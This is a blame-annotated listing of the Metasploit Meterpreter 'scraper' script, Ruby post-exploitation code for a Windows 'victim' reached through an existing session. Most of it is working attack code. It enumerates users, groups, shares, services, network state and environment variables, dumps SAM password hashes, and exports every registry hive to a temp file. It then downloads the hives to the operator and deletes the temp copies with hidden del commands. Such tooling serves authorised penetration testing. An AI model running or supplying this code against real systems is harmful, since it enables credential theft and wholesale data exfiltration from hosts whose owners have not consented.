2009-10-26 15:14:28 +00:00
|
|
|
# $Id$
|
2010-06-23 00:50:14 +00:00
|
|
|
# $Revision$
|
2009-01-08 18:14:03 +00:00
|
|
|
# This is a Meterpreter script designed to be used by the Metasploit Framework
|
|
|
|
#
|
|
|
|
# The goal of this script is to obtain system information from a victim through
|
|
|
|
# an existing Meterpreter session. This is only a simple example of what can
|
|
|
|
# be accomplished through Meterpreter scripting.
|
|
|
|
#
|
|
|
|
# hdm[at]metasploit.com
|
|
|
|
#
|
2009-11-05 00:44:03 +00:00
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false,"Help menu." ]
|
|
|
|
)
|
|
|
|
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")
|
2010-09-09 00:24:31 +00:00
|
|
|
print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))
|
2009-11-05 00:44:03 +00:00
|
|
|
print_line("USAGE: run scraper")
|
2010-09-09 00:24:31 +00:00
|
|
|
print_line(opts.usage)
|
2009-11-05 00:44:03 +00:00
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
require 'fileutils'
|
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
|
|
|
|
# The complete version will be released in the future as 'autometer'
|
|
|
|
|
|
|
|
# Delete a file (meterpreter has no unlink API yet)
|
2010-10-18 20:26:18 +00:00
|
|
|
def m_unlink(client, path)
|
|
|
|
r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
|
2009-01-08 18:14:03 +00:00
|
|
|
while(r.name)
|
|
|
|
select(nil, nil, nil, 0.10)
|
|
|
|
end
|
|
|
|
r.close
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
def unsupported
|
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2009-01-08 18:14:03 +00:00
|
|
|
# Exec a command and return the results
|
2010-10-18 20:26:18 +00:00
|
|
|
def m_exec(client, cmd)
|
2010-07-12 13:02:44 +00:00
|
|
|
begin
|
2010-10-18 20:26:18 +00:00
|
|
|
r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
2010-07-12 13:02:44 +00:00
|
|
|
b = ""
|
|
|
|
while(d = r.channel.read)
|
|
|
|
b << d
|
2010-09-09 16:09:27 +00:00
|
|
|
break if d == ""
|
2010-07-12 13:02:44 +00:00
|
|
|
end
|
|
|
|
r.channel.close
|
|
|
|
r.close
|
|
|
|
b
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Failed to run command #{cmd}")
|
|
|
|
print_error("Error: #{e.class} #{e}")
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
|
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
# Extract the host and port
|
2012-02-29 01:28:47 +00:00
|
|
|
host,port = client.session_host, client.session_port
|
2009-01-08 18:14:03 +00:00
|
|
|
|
|
|
|
print_status("New session on #{host}:#{port}...")
|
|
|
|
|
|
|
|
# Create a directory for the logs
|
2010-06-23 00:50:14 +00:00
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )
|
2009-01-08 18:14:03 +00:00
|
|
|
|
|
|
|
# Create the log directory
|
2009-03-28 05:52:10 +00:00
|
|
|
::FileUtils.mkdir_p(logs)
|
2009-01-08 18:14:03 +00:00
|
|
|
|
2011-01-16 05:23:57 +00:00
|
|
|
unsupported if client.platform !~ /win32|win64/i
|
2009-01-08 18:14:03 +00:00
|
|
|
begin
|
|
|
|
|
2010-10-18 20:26:18 +00:00
|
|
|
tmp = client.fs.file.expand_path("%TEMP%")
|
2009-01-08 18:14:03 +00:00
|
|
|
|
|
|
|
print_status("Gathering basic system information...")
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "network.txt"), "w") do |fd|
|
2009-01-08 18:14:03 +00:00
|
|
|
fd.puts("=" * 70)
|
2010-10-18 20:26:18 +00:00
|
|
|
client.net.config.each_route do |route|
|
2009-01-08 18:14:03 +00:00
|
|
|
fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
|
|
|
|
end
|
|
|
|
|
|
|
|
fd.puts("=" * 70)
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "netstat -na"))
|
2009-01-08 18:14:03 +00:00
|
|
|
|
|
|
|
fd.puts("=" * 70)
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "netstat -ns"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2010-10-18 20:26:18 +00:00
|
|
|
info = client.sys.config.sysinfo()
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "system.txt"), "w") do |fd|
|
2009-01-08 18:14:03 +00:00
|
|
|
fd.puts("Computer: #{info['Computer']}")
|
|
|
|
fd.puts("OS: #{info['OS']}")
|
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "env.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "cmd.exe /c set"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "users.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "net user"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "shares.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "net share"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "services.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "net start"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "net view"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "net localgroup"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "group.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "net group"))
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
|
|
|
|
2010-03-31 04:45:50 +00:00
|
|
|
::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
|
2010-10-18 20:26:18 +00:00
|
|
|
fd.puts(m_exec(client, "systeminfo"))
|
2010-03-31 04:45:50 +00:00
|
|
|
end
|
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
begin
|
2010-10-18 20:26:18 +00:00
|
|
|
client.core.use("priv")
|
|
|
|
hashes = client.priv.sam_hashes
|
2009-01-08 18:14:03 +00:00
|
|
|
print_status("Dumping password hashes...")
|
2009-03-28 05:52:10 +00:00
|
|
|
::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
|
2009-01-08 18:14:03 +00:00
|
|
|
hashes.each do |user|
|
|
|
|
fd.puts(user.to_s)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error dumping hashes: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Obtaining the entire registry...")
|
|
|
|
hives = %w{HKCU HKLM HKCC HKCR HKU}
|
|
|
|
hives.each do |hive|
|
|
|
|
print_status(" Exporting #{hive}")
|
|
|
|
|
|
|
|
tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
|
2010-10-18 20:26:18 +00:00
|
|
|
m_exec(client, "reg.exe export #{hive} #{tempname}")
|
2009-01-08 18:14:03 +00:00
|
|
|
|
|
|
|
print_status(" Downloading #{hive} (#{tempname})")
|
2010-10-18 20:26:18 +00:00
|
|
|
client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)
|
2009-01-08 18:14:03 +00:00
|
|
|
|
|
|
|
print_status(" Cleaning #{hive}")
|
2010-10-18 20:26:18 +00:00
|
|
|
m_unlink(client, tempname)
|
2009-01-08 18:14:03 +00:00
|
|
|
end
|
2010-03-31 04:45:50 +00:00
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
print_status("Completed processing on #{host}:#{port}...")
|
2010-03-31 04:45:50 +00:00
|
|
|
|
2009-01-08 18:14:03 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
|
|
|
|
end
|
2010-03-31 04:45:50 +00:00
|
|
|
|